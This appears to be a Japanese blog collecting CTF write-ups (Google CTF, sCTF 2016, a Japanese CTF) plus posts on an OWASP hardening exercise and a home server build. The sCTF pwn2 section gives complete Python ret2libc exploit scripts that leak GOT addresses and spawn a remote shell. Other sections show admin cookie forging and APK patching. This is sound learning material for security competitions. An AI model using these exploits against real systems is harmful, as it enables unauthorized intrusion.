Google CTF writeup

Google CTF

いつもの如く yharima チームで参加.
700 pts で 145 位だった.クソ難しかったという印象.
とりあえず自分が解いたやつを書きます.

In Recorded Conversation (25pts)

とりあえず落としてきた pcap を strings してみると,
IRC のログっぽい.適当にスクロールしているとフラグっぽい文字列が分割されてあったので,
順番に結合して投げただけ.

Ernst Echidna (50pts)

Web サイトをハッキングしてくれ,的な問題.
とりあえず適当に register してみてもよくわからない.
問題文に robots.txt みると良い的なことが書いてあるのでみると,
/admin が disallow されていた.
適当にログインしてアクセスしてみると

Sorry, this interface is restricted to administrators only

admin ユーザを作ってログインすれば良いのかと思い,
register してみると,

'admin' account already taken!

でダメ.

SQLi とかなんだろうかと思ったが,
一度自分が作ったアカウントで再度 register しても admin と同様のエラーにはならず,
普通にアカウントが作成できる.
ということは,アカウントの管理はしていないのではないか,と推測.
クッキーでも見てみるか,と思いみてみると md5-hash だと書いてある.
これは,ユーザ名の MD5 じゃないのかと思いとりあえず作ったユーザ名の MD5 をとってみると一致.
adminMD5 をとってクッキー差し替えて admin にアクセスしたらフラグが取れた.

Ill Intentions (150pts)

もっとスマートな解法があるので参考にしないことをおすすめします.

6時間くらい戦ってようやく解けた問題.解けたときはとても達成感と共に徒労感に襲われた.

apk がくるならとりあえず中身のソースコードを読んでみたくなるので,
以下の手順とツールデコンパイルして読んだ.

  • apk を unzip
  • dex2jar で class.dex を jar に変換
    • ./d2j-jar2dex.sh classes.dex
  • CFR で jar を ソースコードに変換
    • java -jar cfr_0_115.jar classes-dex2jar.jar --outputdir src

ざっとデコンパイルしたソースコードを読むと,
ブロードキャストすることでインテントが切り替わって,
切り替わったインテントでクリックすると native で書かれた関数を経由して,
なんらかの文字列(おそらくフラグ)を吐き出しているらしい,ということがわかった.

フラグを生成している部分の元の文字列は,リソースなどを追うとわかる.
ということは,頑張れば静的解析だけでなんとかなるんじゃないかと思い,
native で書かれた関数の実体である libhello-jni.so をみてみたが,
ちょっと解析する氣にはなれず動かしたいという方向に振れる.

ここから最高に迷走し始めるが,最終的には簡単にまとめると以下のように解いた.

1. apk を展開する
2. 展開した apk の AndroidManifest.xml を修正して指定したインテントを起動時に開くようにする
3. 展開した apk 内にあるコード(.smali)を弄ってフラグの変数を System.out.println するようにする
4. apk を再構築して適当に署名する
5. hack した apk をエミュで起動して ddms でログを監視する

もうゴリ押し以上の何者でもないという感じ(チームメンバーがほかの人の writeup を読んだ後にそう言われた).

まず apk の展開と再構築には apktool を使った.
どうやら wrapper script もある優しい仕様なので jar と一緒のディレクトリに転がして +x しておく.
展開自体は以下のコマンドで簡単にできる.

$ ./apktool d illintentions.apk

展開するとディレクトリが生成され,直下に AndroidManifest.xml がある.
現在は,起動時に MainActivity が起動するようになっているので,
MainActivityIsThisTheRealOne を入れ替えて IsThisTheRealOne を起動するようにする.
このとき android:labelandroid:name のどちらも入れ替えておいた(name だけでも良いかもしれない). これで, apk を再構築してインストールすると IsThisTheRealOne が起動するようになる.

これだけでは不十分なので, IsThisTheRealOne インテントの画面でクリックした際に,
System.out.println でフラグと思われる文字列を出力するようにする.
これは,展開した apk のディレクトリ内にある中間コード形式で保存されている smali を編集する.
smali/com/example/application/IsThisTheRealOne\$1.smali を開いて以下のように編集した.

@@ -144,9 +144,12 @@
     .line 34
     iget-object v5, p0, Lcom/example/application/IsThisTheRealOne$1;->this$0:Lcom/example/application/IsThisTheRealOne;

-    const-string v6, "ctf.permission._MSG"
+    const-string v9, "ctf.permission._MSG"

-    invoke-virtual {v5, v3, v6}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V
+    invoke-virtual {v5, v3, v9}, Lcom/example/application/IsThisTheRealOne;->sendBroadcast(Landroid/content/Intent;Ljava/lang/String;)V
+
+    sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream;
+    invoke-virtual {v8, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

     .line 35
     return-void

const-string v6 は変数を表していて,もともとは "ctf.permission._MSG" が代入されている.
この v6 は元々出力したい文字列(フラグ)が代入されていて上書きされてしまっているので,v9 に変数名を変えておく.
後続の invoke-virtual {v5, v3, v6}メソッド呼び出しになっていて,
{v5, v3, v6} は引数部分になっている(呼び出し方は色々あり,第一引数に this のオブジェクトが必要,といった形式もあるので注意).
v6 は先ほど v9 に変えたので変更しておく.
続いて, sget-object v8, Ljava/lang/System;->out:Ljava/io/PrintStream; で System.out.println を実行する準備をする.
次の行で invoke-virtual {v8, v6} として, v6 を出力するようにしている.

以上の編集が終われば, apktool を使って再構築する.
再構築するコマンドは以下.

$ ./apktool b illintentions

これで展開していたディレクトリ直下に /dist ディレクトリが出来て,
その中に再構築された apk ができる.

しかし,このままエミュレータにはインストールできないので署名をする.

$ jarsigner -verbose -signedjar signed_illintentions.apk -keystore ~/.android/debug.keystore illintentions.apk androiddebugkey

keystore は androidSDK をインストールされると生成されるらしく,それを用いた.
パスワードは android なので上記実行後に求められるので入力する.

以上で,エミュレータで起動する準備は完了.
エミュレータを起動して adb を使って apk を転送する.
加えて, SDK ツールのどこかにログツールである ddms を起動しておく.

f:id:yharima:20160505003929p:plain

f:id:yharima:20160505003944p:plain

ddms にフラグが無事でました.

何問か相談したり,途中まで書いたコードから解いてくれたチームメンバーのブログを置いておきます.

Google Capture The Flag writeup | にろきのメモ帳

sCTF 2016 Q1 writeup

sCTF 2016 Q1

いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.

pwn2

接続しにいくと

How many bytes do you want me to read?

と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,

 8048541:    c7 44 24 04 04 00 00    mov    DWORD PTR [esp+0x4],0x4
 8048548:   00
 8048549:   8d 45 d4                lea    eax,[ebp-0x2c]
 804854c:   89 04 24                mov    DWORD PTR [esp],eax
 804854f:   e8 8f ff ff ff          call   80484e3 <get_n>
 8048554:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048557:   89 04 24                mov    DWORD PTR [esp],eax
 804855a:   e8 61 fe ff ff          call   80483c0 <atoi@plt>
 804855f:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048562:   83 7d f4 20             cmp    DWORD PTR [ebp-0xc],0x20 # <=
 8048566:   7e 15                   jle    804857d <vuln+0x4e>

といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.

How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.

   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.

まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.

printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して, 戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.

----------------------------------
printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分
----------------------------------
printf@plt 実行後の戻りアドレス
----------------------------------
printf 実行時の書式文字列
----------------------------------
書式文字列で表示する内容のアドレス
----------------------------------

printf@plt のアドレスは objudmp するとすぐに見つかる.

$ objdump -M intel -d pwn2 | grep "printf@plt"
08048360 <printf@plt-0x10>:
08048370 <printf@plt>:

次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.

(gdb) x/s 0x80486f8
0x80486f8:   "You said: %s\n"

そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

以上をまとめると,構成するスタックは以下となる.

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(unused)
buf += 'AAAA'
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: ???
msg = s.recv(1024).strip()
print msg.encode('hex')

これを実行すると…

$ python pwn2_leak.py
596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7

これだけではわけがわからないので部分ごとに切り分ける.

596f7520736169643a20 # "You said: "
800266b7
a0a467b7
96830408
90c962b7
308d67b7
604864b7

当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

08048380 <getchar@plt>:
 8048380:   ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048386:   68 08 00 00 00          push   0x8
 804838b:   e9 d0 ff ff ff          jmp    8048360 <_init+0x24>

08048390 <__gmon_start__@plt>:
 8048390:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048396:   68 10 00 00 00          push   0x10
 804839b:   e9 c0 ff ff ff          jmp    8048360 <_init+0x24>

080483a0 <__libc_start_main@plt>:
 80483a0:   ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483a6:   68 18 00 00 00          push   0x18
 80483ab:   e9 b0 ff ff ff          jmp    8048360 <_init+0x24>

080483b0 <setvbuf@plt>:
 80483b0:   ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 80483b6:   68 20 00 00 00          push   0x20
 80483bb:   e9 a0 ff ff ff          jmp    8048360 <_init+0x24>

080483c0 <atoi@plt>:
 80483c0:   ff 25 20 a0 04 08       jmp    DWORD PTR ds:0x804a020
 80483c6:   68 28 00 00 00          push   0x28
 80483cb:   e9 90 ff ff ff          jmp    8048360 <_init+0x24>

となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった. つまり先ほどの出力結果は,

596f7520736169643a20 # "You said: "
800266b7 # printf@got
a0a467b7 # getchar@got
96830408 # __gmon_start__@got
90c962b7 # __libc_start_main@got
308d67b7 # setvbuf@plt
604864b7 # atoi@got

といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,

f:id:yharima:20160429213639p:plain

libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,

atoi
    libc_base + 0x00031860 

"0xb7644860" - "0x00031860" が libc のベースアドレスになる.

ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.

----------------------------------
system 関数のアドレス
----------------------------------
戻りアドレス(なんでもいい)
----------------------------------
"/bin/sh\0" へのアドレス
----------------------------------

というわけで, exploit のコードを書いてみる.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

libc_base = 0xb7644860 - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

実行する.

$ python exploit.py
$ ls -l

あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.

最終的に書いたコードは以下.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(vuln())
buf += p(0x804852f)
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: (printf@got,getchar@got,... addrres)
msg = s.recv(1024).strip()
print "printf@got: " + hex(u(msg[10:14]))
print "getchar@got: " + hex(u(msg[14:18]))
print "__gmon_start__@got: " + hex(u(msg[18:22]))
print "__libc_start_main@got: " + hex(u(msg[22:26]))
print "setvbuf@got: " + hex(u(msg[26:30]))
print "atoi@got: " + hex(u(msg[30:34]))
print "=" * 30

# search: http://libcdb.com/
# result: http://libcdb.com/libc/92
# atoi: libc_base + 0x00031860
libc_base = u(msg[30:34]) - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24
print "libc_base addr: " + hex(libc_base)
print "system addr" + hex(system_addr)
print "/bin/sh addr: " + hex(bin_sh_addr)
print "=" * 30

## S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

print "$ cat flag.txt"
s.send("cat flag.txt\n")
print s.recv(1024)

実行すると,

$ python pwn2_exploit.py
printf@got: 0xb7630280
getchar@got: 0xb764a4a0
__gmon_start__@got: 0x8048396
__libc_start_main@got: 0xb75fc990
setvbuf@got: 0xb7648d30
atoi@got: 0xb7614860
==============================
libc_base addr: 0xb75e3000
system addr0xb7623190
/bin/sh addr: 0xb7743a24
==============================
$ ls -l
total 12
-r--r----- 1 root pwn2   24 Apr  7 23:08 flag.txt
-r-xr-x--- 1 root pwn2 7553 Apr  9 01:16 pwn2

$ cat flag.txt
sctf{r0p_70_th3_f1n1sh}

フラグ sctf{r0p_70_th3_f1n1sh} をとれた.

OWASP DAY 2016 Spring MINI Hardening writeup(?)

同期から教えてもらって Hardening に参加できたらいいなー,
と思ってポチったら無事当選でき参加してきた.

チーム

4人1チームだったのだけれど,1人は最初からメールの返信もなく,当日も現れなかった….
偶然なのか何なのか同じ会社の人もチームメンバーでとても驚いた.

シナリオ

与えられたシナリオは簡単にはざっと以下のような感じ(足りないとこもありそう).

  • LAMP 環境の Web サイトが与えられる
  • Web サイトは Wordpress で構築されている
  • FTP を使ってサイトのファイルを更新している
  • IT 担当のアカウントが3つ転がっている
  • 競技者は unyou アカウント or 自分で作ったアカウントを利用する

採点は, ftp や http などが上がってるかどうかで(全部で4つあった),
前のスクリーンに映しだされていたが,小さくてよく見えなかった.
とりあえず自分のチームの位置をチームメンバーの人に教えてもらったので,
赤いものを青くするように頑張る感じ.

競技内容

何も考えず始まった瞬間に yum update をかけるも,
ミラーサーバにつながらない.そういう話ではないのか,と理解した.

それならとりあえず怪しいプロセスはいないかと思って, ps aux してみたけど,
そんな変なプロセスが変なユーザで常時動いてる,という感じではなさそうだった.

cron で怪しいものとか動かしてないかなー,とか思って sudo crontab -l してみると,
なんか 5分ごとに動いている healthcheck があった.
中身をみてみると難読化された python のコードでどうみても怪しいので,
とりあえず該当の cron をコメントアウトして動かないようにした.

次に, /var/log 以下を適当に漁ってみたけど,色々ありすぎてとっかかりが見つからない.
ただ, /var/log/secure を眺めてると過去に大量ログインに失敗しているログがあって,
攻撃を受けていた,ということがわかった.

侵入されている可能性もありそうで,とりあえずユーザ一覧を眺めようと思って,
/etc/passwd を見てみると, vnyou とかいうどうみても怪しいやつがいた.
id vnyou してみると root 権限をもっているしこいつはダメだということになり,
チームメンバーに通報して vnyou ユーザを抹殺.

とっかかりが見えたので, /var/log 以下を vnyougrep してみると,

  • IT 担当のアカウントのうち ken が割られて vnyou を追加している
  • ftpchroot_list(だったっけ?)に vnyou を追記している
  • www 以下に .test みたいなディレクトリを掘って怪しいファイルを設置している(2箇所)
  • (既に止めていた) healthcheck ファイルを配置している

と,侵入されてからやられていることはこんな感じだった.
とりあえず, chroot_list から vnyou を削除.
www 以下に置かれた怪しいファイルを見てみると難読化されていてさっぱり読めなかったが,
どうみても怪しいので,2ファイルとも削除.
cron で叩いてる healthcheck は最初に止めたので,
これで ken が割られて怪しいことをされたところは一通りなんとかできた.

スコアボードを見てみるとどうやらまだ ftp が赤く,
チームメンバーと色々相談したり,運用ルールを見ながら変なところを探して,
設定を色々変えてみたけど青くならず.

みんなで, ftp と戦っているうちに運営からみんな攻撃にさらされてますよ!!!
的なアナウンスがあって,マジで!? と思ってスコアボードをみてみると,
他のチームは全部赤くなったりしていたけど,うちは特に変わらず ftp だけ赤い.
さっき消したバックドア周りから攻撃されたっぽいようでうちは大丈夫だった.

その後,チームメンバーとずっと ftp と戦ってたけどさっぱりわからんかった.

最後の数分で突然運営から,みんなよく出来ていて面白くないので突発的に攻撃します!!!
と言われて,攻撃を受けると httpd が刺さって死亡.
刺さってる httpd はどうしようもないので,とりあえず restart かけてあげた.
そんなこんなで,競技終了.

最後の攻撃は,アクセスログから推測するに, slow request 的な攻撃を受けたっぽかった.
httpd はノーチューニングなのでどうしようもなかった.

反省点

  • あまりチームの連携がうまくとれてなかった
  • 最後まで port forward をやらなかったので運用しているページを見たことがなかった
  • ftp はまりすぎ

色々ありそうだけど,パっと思いついたのはこんな感じ.

感想

思った以上に時間は早く過ぎていって,もっと色々やりたかったな,というところがあった.
とはいえ,こういう競技に参加するのは初めてだったので非常に新鮮でかつ楽しめた.
攻撃に晒されるというのは,大変だった.

今回はとっかかりを掴めば,
結構対策できたのでそういったところはうまく立ち回れたのかな?(だったらいいな)

ただし ftp 周りはさっぱりわからんかったのでよろしくない….反省.

普段の業務では守る側,というほどではない(社内からしかアクセスできないツールしか作ってない)ので,
CTF とは違った楽しみがありつつも,守る側が一番大変ということを実感できた.

本家の8時間のほうも参加できるならしてみたいな,と思いました.

おまけ(追記)

チームメンバーの方が書かれた writeup では,
この writeup の足りない部分(システム構成や動作させている Web サイトなど)が書かれています.

kanpapa.com

ESXi on NUC + NAS で自宅サーバ構築

概要

何かやるときは EC2 でインスタンス立ち上げて…,
とかやっていたのだけれども,面倒くさい.
それに,自宅に共有ファイルサーバくらいは欲しい.
それならいっその事,自宅サーバ構築するか,という機運が高まり構築.
電気代はアウトソーシング(実家に)できないので,
可能な限り消費電力を下げることを目的に頑張る,というかそれを一番重視した.

NAS

色々悩んだのだけれども,アプライアンスに手を出してみた.
RAID 1 が組めれば良いし,そんな大容量を求めていないので,ReadyNAS RN10200 を調達.

HDD は HGST 信者なので HGST 0S03361 を2発購入.
RAID 1 を組むので利用可能なのは 4TB になるがそんなに使わないので問題無し.
初期不良は嫌なので, WinDFT を落としてきて,
ExtTest => Zero fill => ExtTest を念のため実行して問題がないことを確認.
1台あたり大体40時間くらいかかったような?

あとは RN10200 に2発とも挿して指示通りにセットアップしてあげるだけ.
注意点としては Firmware の 6.4.x 系が今のところ地雷だという噂.
自分のは 6.2.4 だったので 6.2.x 系の最新版にしてあるけど,今のところ特に問題は無し.

iPhone からも FileExplorer などを利用すると接続できた.

NUC

Intel NUC はどうやら ESXi のドライバなどが非公式だが揃っているようなので選択.
今回は, NUC5i5RYH を購入.
別に 2.5-inch ベイは必要なかったのだけれど,ベイがあるほうが安かったので….

メモリは 1.35V の定電圧のものが投げ売りされていたので 8GB * 2本を購入.
本当はもっとメモリ積みたいのだけど NUC の限界なので諦め.

ストレージは NAS を mount して VM などのファイルを保存してあげれば大きいものはいらない.
ESXi はとても軽量なので,家に転がっていた適当な USB メモリにインストールする.
初回インストール用の boot もこの USB でやるので一石二鳥(?).

組むのはメモリ挿すだけなので一瞬.
boot 用の USB メモリに Memtest86+ を入れて念のため回しておく.
f:id:yharima:20160221152127j:plain

インストール

以下の通りにやったらできた.
ESXi 6.0 Image for Intel NUC | Virten.net f:id:yharima:20160221155247j:plain ここまできたら IP アドレスを設定してあげるくらい.
残りは vSphere Client 経由で色々することになる.

感想

思ったよりは簡単に構築できた.
NAS + HDD が 5万円程度, NUC + メモリが 6万円程度なのでそれなりにかかった.
物理的な大きさは以下のような感じ.
f:id:yharima:20160221155751j:plain (写真には NAS と NUC 以外にも ルータと ONU も写り込んでいる)

ルータと NAS と NUC は UPS に繋いでいて,
UPS 計測によると平均 25W 程度で推移している模様.
大体これは月額400円少しくらいらしい.
年間だと5000円ちょっとでなかなか悩ましい出費かも….
(電気代の大部分は HDD が占めているのでどうしようもなさそう.)
ただ,色々遊べるので良いかなと.

場阿忍愚CTF writeup

同期の間で流行り出して参加.
結果は, 22位で4648点でした.もう少し解きたかった….
しかし最高に楽しかった.参加してからの2ヶ月はほとんど問題のことばっかり考えていた気がする.
色々なジャンルに触れ,ツールなども学べたので良い経験になったと思う.

練習

image level 1

画像を全部開いてタブで移動しながら読んだ.

芸術

ワットイズディス?

ヒントに「大和セキュリティ勉強会のステッカー」って書いてあったので,
よく見てみると確かにそう読めた.

cole nanee?

画像検索にかけると,どうやら運営っぽい人たちの Twitter アイコンに使われているようだ.
このやたら忍者推しで漢字1文字,かつ形から推測した.

Lines and Boxes

とても苦しんだ.
ヒントから漢字じゃなさそうまでは予想.アルファベット? どうも右の文字は PLAY と読めなくもない.
それから左の文字が全然わからないで詰み状態.
本当に無理やり読んでみると「山」以外は oRd なように読める.
ordplay で検索するとサジェストされた.

Why want something more?

画像検索にかけるとどうやら Asian art museum に該当文字の茶掛け?があるらしい.
書いたと思われる人が Shozo Sato という人だとわかる.
この名前で検索すると 「Shodo: The Quiet Art of Japanese Zen Calligraphy; Learn the Wisdom of Zen Through Traditional Brush Painting」 なる本を出版しているのがわかる.中身検索で見ても見つからず詰み.
本タイトルで漂っているとなんか youtube に順番にページをめくっていくだけの謎の動画があり,その中に書いてあった.

毎日使う

気合で草書を読む.
日本インターネット書道協会なるサイトに草書の早覚え法というページがあって,
偏を見ていると,「うかんむり?」か「きがまえ?」にみえる.
適当に偏から漢字を検索できるサイトでそれっぽい漢字を入れていった.

二進術

壱萬回

最初はずっと外部プログラムから叩いて自動回答していくのかと思ったが,どうもうまくいかず…   バイナリ読んでみると, FLAG を出す関数が丸々見えている.16進数から頑張って変換する.

DxLib遊戯如何様

起動するとなんかオセロが始まる.
適当に勝利回数弄ればいいの?と思って「スペシャねこまんま57号」を使い,
勝利回数を検索してメモリを弄り,65535にするとフラグが出てきた.

Unity遊戯如何様

ヒントにあることをそのままやる.
なんか「its_3D_Game_Tutorial」っぽいことがわかる.
でもそのまま入れてもダメ.謎い….
画面に表示されるタイミングで小文字に変換されたりするんだろうか?
と思って添付されているゲームの画像をよく見ると,
ソースでは Coins で渡しているのに画像では COINS と大文字になってる.
なるほど,大文字に変換されていた.

解読術

image level 5

解凍して ls するとタイムスタンプが全部異なる.
タイムスタンプ順に画像を開くと,意味のある文字になった.

Ninjya Crypto

ヒントから「忍者 暗号」で検索するとそれっぽいのが出てくる.
解読すると,「やまといえば」と書いてある.そのまま入れてみたがダメ.
問題に「敵か仲間か? 証明して!」と書いてある.そういえば「山といえば川」的な.

Decrypt RSA

こんなでかそうな素数分解できなさそう.
素数で検索すると Wikipedia のページが出てきて p, q がわかる.
あとはそこから秘密鍵の pem 作って openssl のコマンド流せばいけた.

解析術

Doubtful Files

ヒントもさっぱりわからない.
全部の画像適当に開くと「7.inf」はなぜか普通に開ける.
また,「8.vbs」はセキュリティ警告が出て起動できない.
起動できないエラーメッセージで検索していると ZoneID なるものがあるのがわかった.
ZoneID を確認するには notepad <FILE_PATH>:Zone.Identifier とすると確認できることがわかった.
「7.inf」と「8.vbs」を開くとなんか base64 っぽい文字があるので連結してデコード.

情報漏洩

なんかやたらでかいパケットをみると PNG っぽいヘッダがみえる.
3つあるので連結して png にするとあっさり開けた.

Speech by google translate

どうも切れてるように思える.ヒントに長く聞くには?的なことがあったので, 適当にヘッダを弄ってチャンクの長さ?部分を ff で埋め尽くしてきくと全部聞けた.

電網術

ftp is not secure.

Wireshark で開くと FTP-DATA が飛んでる部分がある.
TCP STREAM として追って dump した ASCII を適当に眺めるといかにも base64 っぽい文字があった.
あとはデコードしてあげた.

ベーシック

なんか http://burning.nsc.gr.jp にアクセスしてるのでアクセスしてみると認証が.
よくよく考えると http がユーザで //burning.nsc.gr.jp がパスワードであることに気づく.
ログインしたらフラグが書いてあった.

Japanese kids are knowing

適当に nmap でフルスキャンしてみると open なところが. nc で順番につなぐと C, D, ... 的な文字がでてきた.
さっぱりわからなかったので適当に現れる文字 ACDEFG で検索してみるとどうやら音楽記号らしい?
演奏してくれるサイトに順番に入れて再生してみたらかえるの歌っぽいので frog を md5 にかける(改行されないように気をつける).

諜報術

KDL

internet Archive で戻ればわかった.

Mr. Nipps

FacebookTwitter から追跡する? と思い調べる.
Twitter をみてると instagram に該当の日付・時間に画像を上げていた.
HOOTERS の公式などから緯度経度を調べて入れてみるもダメ.
全然わからなかったけど,ヒントをずっと見ていると,永 = A, 日° = P, 愛 = I だ! と気づく.
最初は google mapsAPI とか調べてたけど,よく考えたら instagramAPI じゃない?
と思ってやってみた.新しいバージョンの API だとダメで心が折れそうになった.
よくよく公式ドキュメントを見てみると,古い API がまだ使えることがわかった.
公式ドキュメントの API Console のリンクから飛んで認証通して media の API 叩いたら緯度経度が取得できた.
あとは,桁数に気をつけて入力.

Akiko-chan

画像検索して wordpress な URL を探した.

タナカハック

ヒントの通り, www.yamatosecurity.com のファイルを wget して grep したら出てきた.

タイムトラベル

DNS 50.115.13.104」で検索して片っ端から開いていくと ninja みたいなドメインが出てきた.
いかにもそれっぽいので入れてみたら答えだった.

記述術

search_duplicate_character_string

最長共通部分文字列(LCS) っぽい. なんかそのあたりのワードで検索していたら ruby のコードがあったので,
そいつに入力丸々流したらあっさり答えが出た.

JavaScript Puzzle

alert の部分はちゃんとアスキーコード表をみて入れる.
あとは,なんかそれっぽい感じになるように並べ替えただけ.

Count Number Of Flag's SubString!

curl で全探索気味に投げつけていった.

解凍?

file して圧縮形式を調べて順番に解凍していった.
何回も解凍しないとダメそうだったので, file した結果でコマンドを分岐するスクリプト書いて流した.

Make sorted Amida kuji!!

1問目は手動でポチポチやったら解けた.
2問目が問題で,全探索するのはどう考えても無理ゲー.
まずは,各行において有効となる順列をすべて生成する.
それで1, 2, 3, 4, 5行目だけ有効な順列をすべて試して,残りの行は最終的な順列に近くなるなら順番に交換していく,
という,部分全探索 + 貪欲の組み合わせでやったが,62個もでず. これは有効な順列で全探索する行を5ときめて(これ以上は探索空間的にきつい),
その行を全探索する({1,2,3,4,5},{1,2,3,4,6}, ... })というクソみたいな小手先技を使ったら,
ピッタリ62個でた.あとは全部ファイルに出力して順番にクリックボードに送りつけて62回 web から投稿した.

超文書転送術

GIFアニメ生成サイト

適当に画像送りつけて,返ってきた画像を色々調べてみてもわからず.
DOM を弄って怪しいことしてもさっぱり.
色々諦めて,上がっている画像があやしい?とおもって1の画像を開くと 403 が返ってきた.
